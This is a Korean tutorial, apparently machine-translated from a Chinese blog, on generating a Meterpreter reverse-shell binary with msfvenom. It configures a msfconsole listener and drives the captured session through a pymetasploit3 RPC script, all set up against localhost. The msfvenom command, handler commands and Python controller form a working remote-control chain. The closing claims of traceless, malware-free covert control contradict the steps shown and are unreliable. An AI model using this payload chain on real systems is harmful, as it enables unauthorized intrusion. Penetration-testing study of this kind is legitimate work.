원격 제어를 달성하기 위해 Metasploit을 사용하여 리바운드 쉘 프로그램을 생성하십시오.

1. 메타스플로잇에 대하여

        Metasploit은 Rapid7에서 개발하고 유지 관리하는 오픈 소스 침투 테스트 프레임워크입니다. 이는 컴퓨터 시스템의 보안을 평가하고 테스트하기 위한 강력한 도구 및 리소스 세트를 제공합니다. Metasploit의 목표는 보안 전문가가 시스템 보안을 개선하기 위해 시스템의 취약점을 발견하고 활용하도록 돕는 것입니다.

        Metasploit에 대한 배경:
        원래 HD Moore가 2003년에 만든 Metasploit은 네트워크 침투 테스트 및 공격을 단순화하기 위한 오픈 소스 보안 도구 세트로 시작되었습니다. 처음에는 명령줄 도구로 시작했지만 시간이 지나면서 Metasploit은 강력하고 사용하기 쉬운 침투 테스트 프레임워크로 발전했습니다. 오픈 소스 특성을 통해 글로벌 보안 커뮤니티는 Metasploit에 기여하고 이를 개선하여 오늘날 가장 널리 사용되는 침투 테스트 도구 중 하나가 되었습니다.

Metasploit의 주요 기능:
1. 취약점 검색 및 평가: Metasploit은 대상 시스템의 취약점을 자동으로 검색하는 데 사용할 수 있는 강력한 취약점 검색 엔진을 제공합니다. SQL 주입, XSS 등과 같은 일반적인 취약점을 검색하고 보안 전문가가 시스템 보안을 평가하는 데 도움이 되는 자세한 보고서를 생성할 수 있습니다.

2. 악용: Metasploit은 알려진 시스템 취약점을 악용하기 위한 광범위한 악용 모듈 세트를 제공합니다. 이러한 모듈을 사용하여 대상 시스템에 대한 액세스 권한을 얻고, 명령을 실행하고, 민감한 정보를 추출하는 등의 작업을 수행할 수 있습니다.

3. 사회 공학: Metasploit은 피싱, 맬웨어 배포 등에 대한 개인의 기술을 테스트하기 위한 일부 사회 공학 모듈도 제공합니다. 이러한 모듈은 보안 전문가가 사회 공학 공격에 대한 직원의 탄력성을 평가하는 데 도움이 됩니다.

4. 원격 제어: Metasploit의 중요한 기능은 원격 제어 기능을 제공하는 것입니다. 보안 전문가는 대상 시스템에 대한 연결을 설정함으로써 원격으로 명령을 실행하고, 파일을 업로드 및 다운로드하고, 스크린샷을 찍는 등의 작업을 수행할 수 있습니다.

5. 모듈형 아키텍처: Metasploit의 아키텍처는 모듈형이므로 사용자가 필요에 따라 기능을 사용자 정의하고 확장할 수 있습니다. 사용자는 자신의 모듈을 작성하거나 Metasploit 커뮤니티에서 다른 사용자가 공유하는 모듈을 얻을 수 있습니다.

6. 자동화 및 통합: Metasploit은 다른 보안 도구 및 플랫폼과 통합되어 침투 테스트 및 취약성 관리를 자동화할 수 있습니다. Nessus 및 Nmap과 같은 도구와 통합되어 보다 포괄적인 침투 테스트 솔루션을 제공할 수 있습니다.

요약하면
        Metasploit은 보안 전문가가 시스템 보안을 평가하고 개선할 수 있도록 설계된 강력한 침투 테스트 프레임워크입니다. 취약점 검색, 취약점 악용, 사회 공학, 원격 제어 등과 같은 일련의 기능을 제공하여 보안 전문가가 시스템의 취약점을 더 잘 발견하고 악용할 수 있도록 합니다. Metasploit의 오픈 소스 특성과 모듈식 아키텍처는 사용자가 Metasploit에 기여하고 개선하여 끊임없이 변화하는 위협 환경에 맞게 업데이트하고 적응할 수 있는 활동적인 보안 커뮤니티를 만듭니다.

        Metasploit을 사용하려면 linux-kali를 사용하는 것이 가장 쉬운 방법입니다. 설치방법은 블로그를 참고해주세요.

5분만에 Kali Linux 설치 완료(VirtualBox 기반)_virtualbox 설치 kali_Xiaoxiangzi의 블로그-CSDN 블로그

2. 제어되는 끝에서 리바운드 쉘 프로그램을 생성하고 마스터 제어 끝은 원격 제어 명령을 보냅니다.

2.1 리바운드 쉘 프로그램 생성

        kali 머신에서 msfvenom을 사용하여 리바운드 쉘 프로그램을 제어 종료로 만들면 리바운드 쉘 프로그램이 마스터 콘솔의 열린 포트에 적극적으로 연결됩니다.

        여기서는 메인 제어 단말의 IP를 로컬 IP 127.0.0.1로 설정하고, 메인 제어 단말의 포트는 4444로 설정했습니다. 제어된 끝은 Kali 로컬 시스템에서 실행되므로 페이로드는 "linux/x64/meterpreter/reverse_tcp"를 선택합니다. 페이로드에는 다양한 유형이 있습니다. msfconsole에서 "reverse_tcp"를 검색하면 Windows이든 Android이든 많은 수의 페이로드를 찾을 수 있으며 제어되는 터미널 운영 환경에 적합한 페이로드를 찾을 수 있습니다.

┌──(root㉿kali)-[/home/kali/reverse_tcp_test]
└─# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o client_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: client_x64.bin

2.2 콘솔 구성 및 원격 제어 명령 실행

        kali 명령줄에서 "msfconsole"을 입력하여 메타스플로잇을 엽니다.

        호스트를 구성하려면 다음 명령을 사용하십시오.

use payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
set ExitOnSession false

구성이 완료된 후 사용

exploit -j -z

마스터 컨트롤의 수신 포트를 엽니다.

        client_x64.bin에 실행 권한을 추가하고 실행합니다. 활성 끝에 "Meterpreter 세션"(127.0.0.1:4444 -> 127.0.0.1:45906)이 있음을 확인할 수 있습니다.

        "ctrl +c" 이후에 session -l을 사용하면 이때 설정된 세션 ID를 확인할 수 있으며, "session -i id"를 통해 리바운드 쉘에 진입할 수 있다. 리버스 쉘에서도 일부 명령을 실행할 수 있지만 실행할 수 있는 명령이 매우 제한적이라는 것을 쉽게 알 수 있습니다. (ls는 실행 가능하지만 whoami, echo 등은 실행 불가능)

        능력을 강화하려면 껍질에 들어가야 합니다. Meterpreter에서 "meterpreter > shell"은 Meterpreter 세션에서 대상 시스템의 대화형 셸로 전환하는 것을 의미합니다. 이는 마치 로컬 시스템의 명령줄 인터페이스에 있는 것처럼 대상 시스템에서 명령과 작업을 실행할 수 있음을 의미합니다. 이는 대상 시스템과 직접 상호 작용하고 보다 고급 작업 및 작업을 수행할 수 있게 해주는 중요한 단계입니다.

        자, 이제 제어된 끝을 성공적으로 제어할 수 있습니다. 제어 대상의 프로그램 권한이 높을수록 더 많은 일을 할 수 있습니다.

        전체 프로세스 실행의 스크린샷은 다음과 같습니다.

3. Metasploit 프레임워크의 API를 사용하여 자동 사용자 정의 전송 제어 명령을 실현합니다.

3.1 피메타스플로잇3

Pymetasploit3은 Python으로 작성된 Metasploit 프레임워크용 API입니다. 이는 Metasploit 프레임워크와 상호 작용하는 기능을 제공하여 사용자가 Metasploit의 다양한 기능과 도구를 프로그래밍 방식으로 사용할 수 있도록 합니다. Pymetasploit3의 주요 용도는 다음과 같습니다.

1. 침투 테스트 자동화: Pymetasploit3을 사용하면 사용자는 Python 스크립트를 작성하여 침투 테스트 작업을 자동화할 수 있습니다. 사용자는 Pymetasploit3 API를 사용하여 취약점 검색, 취약점 악용, 대상 시스템에 대한 액세스 권한 획득 등과 같은 다양한 침투 테스트 작업을 수행할 수 있습니다. 이를 통해 침투 테스터는 반복적인 작업을 보다 효율적으로 수행하고 Metasploit 프레임워크를 작업 흐름에 통합할 수 있습니다.

2. 맞춤형 모듈 개발: Pymetasploit3은 사용자가 자신만의 Metasploit 모듈을 작성할 수 있는 API 세트를 제공합니다. 사용자는 Pymetasploit3 API를 사용하여 자신의 필요와 대상 시스템의 특성을 기반으로 맞춤형 모듈을 개발하여 보다 정확하고 효과적인 침투 테스트를 달성할 수 있습니다. 이를 통해 사용자는 특정 시나리오 및 요구 사항에 따라 Metasploit 프레임워크의 기능을 확장하고 사용자 정의할 수 있습니다.

3. 데이터 분석 및 보고서 생성: Pymetasploit3은 Metasploit 프레임워크에서 생성된 데이터에 액세스하고 처리하는 기능을 제공합니다. 사용자는 Pymetasploit3 API를 사용하여 침투 테스트 프로세스 중에 스캔 보고서, 취약점 정보 등과 같은 결과 데이터를 얻을 수 있습니다. 이를 통해 사용자는 침투 테스트 결과를 분석 및 해석하고 세부 보고서를 생성하여 테스트 결과 및 권장 사항을 이해관계자에게 전달할 수 있습니다.

4. 취약점 관리 및 추적: Pymetasploit3을 사용하면 사용자는 프로그래밍 방식으로 취약점을 관리하고 추적할 수 있습니다. 사용자는 Pymetasploit3 API를 사용하여 취약점 정보 획득, 취약점 상태 업데이트, 취약점 복구 진행 상황 추적 등을 수행할 수 있습니다. 이를 통해 사용자는 침투 테스트에서 발견된 취약점을 더 잘 구성하고 관리할 수 있어 취약점 해결의 효율성과 정확성이 향상됩니다.

        요약:
        Pymetasploit3은 Metasploit 프레임워크와 상호 작용하는 기능을 제공하는 Python으로 작성된 Metasploit 프레임워크용 API입니다. 주요 용도로는 침투 테스트 자동화, 사용자 정의 모듈 개발, 데이터 분석 및 보고서 생성, 취약점 관리 및 추적이 있습니다. Pymetasploit3을 사용하면 사용자는 프로그래밍 방식으로 침투 테스트 작업을 보다 효율적으로 수행하고 Metasploit 프레임워크의 기능을 사용자 정의 및 확장하며 테스트 결과를 분석 및 보고할 수 있습니다.

3.2 Pymetasploit3을 사용하는 일부 프로그램

3.2.1 RPC 소개

        사용하기 전에 입력해야 합니다.

load msgrpc

        출력을 볼 수 있습니다

msf6 payload(linux/x64/meterpr
eter/reverse_tcp) > load msgrpc                
[*] MSGRPC Service:  127.0.0.1:55552 
[*] MSGRPC Username: msf
[*] MSGRPC Password: DCcxOGeW
[*] Successfully loaded plugin: msgrpc

        RPC 비밀번호 "DCcxOGeW"가 여기에서 생성되며 나중에 사용됩니다. 물론 여기의 비밀번호는 직접 구성할 수도 있습니다.

        어쩌면 "msgrpc 로드"가 무엇을 할 수 있는지 묻고 싶을 수도 있습니다. 그 역할은 Metasploit 프레임워크와의 원격 통신 및 제어를 위한 Metasploit RPC(Remote Procedure Call) 서비스를 로드하는 것입니다.

        특히 "load msgrpc" 명령은 사용자가 네트워크를 통해 Metasploit 프레임워크에 연결하고 API를 사용하여 상호 작용할 수 있도록 하는 RPC 서비스를 시작합니다. RPC 서비스가 시작되면 사용자는 다양한 프로그래밍 언어(예: Python, Ruby 등)로 스크립트를 작성하고 API를 통해 Metasploit 프레임워크와 통신하며 다양한 침투 테스트 작업 및 작업을 수행할 수 있습니다.

        msgrpc를 로드하면 사용자는 다음 기능을 실현할 수 있습니다.

1. 원격 제어: 사용자는 네트워크를 통해 Metasploit 프레임워크에 연결하여 원격 위치에서 취약점 검색, 취약점 악용, 접근 권한 획득 등 다양한 침투 테스트 작업을 수행할 수 있습니다. 이는 원격 서버에서 침투 테스트 작업을 수행하는 것과 같이 침투 테스트 작업을 원격으로 수행해야 하는 시나리오에 매우 유용합니다.

2. 자동화 및 통합: RPC 서비스를 통해 사용자는 침투 테스트 작업을 자동화하고 Metasploit 프레임워크를 작업 흐름에 통합하는 스크립트를 작성할 수 있습니다. 사용자는 다양한 프로그래밍 언어와 도구를 사용하여 Metasploit 프레임워크와 상호 작용할 수 있으므로 보다 효율적이고 맞춤화된 침투 테스트가 가능합니다.

3. 분산 침투 테스트: 여러 RPC 서비스를 시작하여 사용자는 분산 침투 테스트를 구현할 수 있습니다. 즉, 사용자는 동시에 여러 컴퓨터에서 침투 테스트 작업을 수행할 수 있으므로 테스트 효율성과 속도가 향상됩니다.

3.2.2 Python 프로그램(단지 참조 프로그램)

Metasploit RPC(원격 프로시저 호출) 서비스의 도움으로 Metasploit 프레임워크에 연결하기 위해 다음 Python 파일을 작성할 수 있습니다.

# -*- coding:utf-8 -*-
from pymetasploit3.msfrpc import MsfRpcClient
#参数需要参考msgrpc的输出
client = MsfRpcClient(password='DCcxOGeW', server='127.0.0.1', port=55552)
#session id需要通过“sessions -l”来获得,一般是1
session=client.sessions.session("1")
if session:
    print("Meterpreter会话已建立")
    shell = session.start_shell()
    if shell:
        print("交互式Shell已启动")

        while True:
            command = input("请输入命令:")
            if command.lower() == "exit":
                break
            else:
                print("您输入的命令是:",command)
                session.write(command + "\n")
                output = session.read()
                print(output)
    else:
        print("无法启动交互式Shell")

또한 github에 글을 쓰는 다른 방법도 많이 있다는 것을 보았고, 참고할 수 있도록 몇 가지를 나열해 보겠습니다.

GitHub - Coalfire-Research/pymetasploit3 at 0afc16bc04016187de6786dbb93c94874b5e3101

https://github.com/ir-st/ANPT/blob/62213fd804887f4d78531af87696b743c2e684a6/example/MsfRPC%20testing.py#L4

https://github.com/sec-js/Xerror/blob/07ec57cabcd27cdb47c89af452bdf4ed07207347/xerror/parsing/msf_rpc_session_handler.py#L3

4. 마지막으로

        원격 제어를 위한 리버스 쉘을 생성하는 Metasploit의 방법에는 다음과 같은 장점이 있습니다.

1. 고도로 사용자 정의 가능: Metasploit 프레임워크는 특정 요구 사항에 따라 사용자 정의된 리바운드 셸을 생성할 수 있는 풍부한 모듈과 도구를 제공합니다. 사용자는 대상 시스템의 특성과 실제 조건에 따라 해당 모듈과 구성을 선택하여 보다 정확하고 효과적인 원격 제어를 달성할 수 있습니다.

2. 다중 플랫폼 지원: Metasploit 프레임워크는 Windows, Linux, Mac 등을 포함한 다중 운영 체제 및 플랫폼을 지원합니다. 이는 사용자가 Metasploit을 사용하여 다양한 운영 체제에 적합한 리버스 셸을 생성하여 크로스 플랫폼 원격 제어를 달성할 수 있음을 의미합니다.

3. 취약점을 악용하는 강력한 능력: Metasploit 프레임워크는 알려진 취약점을 사용하여 대상 시스템에 액세스할 수 있는 다수의 악용 모듈을 통합합니다. 리버스 셸을 생성함으로써 사용자는 이러한 익스플로잇 모듈을 사용하여 원격 제어를 달성함으로써 대상 시스템에서 명령 실행, 파일 업로드 및 다운로드, 민감한 정보 획득과 ​​같은 다양한 작업을 수행할 수 있습니다.

4. 사전 악성코드 설치가 필요하지 않습니다. 리버스 쉘을 생성하는 방법은 일반적으로 대상 시스템에 사전 악성코드를 설치할 필요가 없습니다. 이는 알려진 취약점을 악용함으로써 사용자가 대상 시스템에 코드를 직접 실행하여 감지 및 제거 가능한 대상 시스템에 흔적을 남기지 않고 원격 제어를 달성할 수 있음을 의미합니다.

5. 유연성과 확장성이 뛰어납니다. Metasploit 프레임워크의 역쉘 생성 방법은 특정 요구 사항에 따라 사용자 정의하고 확장할 수 있습니다. 사용자는 Metasploit 프레임워크에서 제공하는 API 및 프로그래밍 언어를 사용하여 사용자 정의 모듈과 스크립트를 작성하여 보다 복잡하고 구체적인 원격 제어 기능을 달성할 수 있습니다.
        따라서 원격 제어를 위한 리버스 쉘을 생성하는 Metasploit의 방법은 높은 사용자 정의, 다중 플랫폼 지원, 강력한 취약점 공격 기능, 사전에 악성 코드를 설치할 필요가 없으며 높은 유연성과 확장성의 장점을 가지고 있습니다. 이를 통해 사용자는 대상 시스템의 특정 요구 사항과 특성에 따라 정확하고 효과적이며 비밀스러운 원격 제어를 달성할 수 있습니다.

추천

출처blog.csdn.net/qq_33163046/article/details/132328117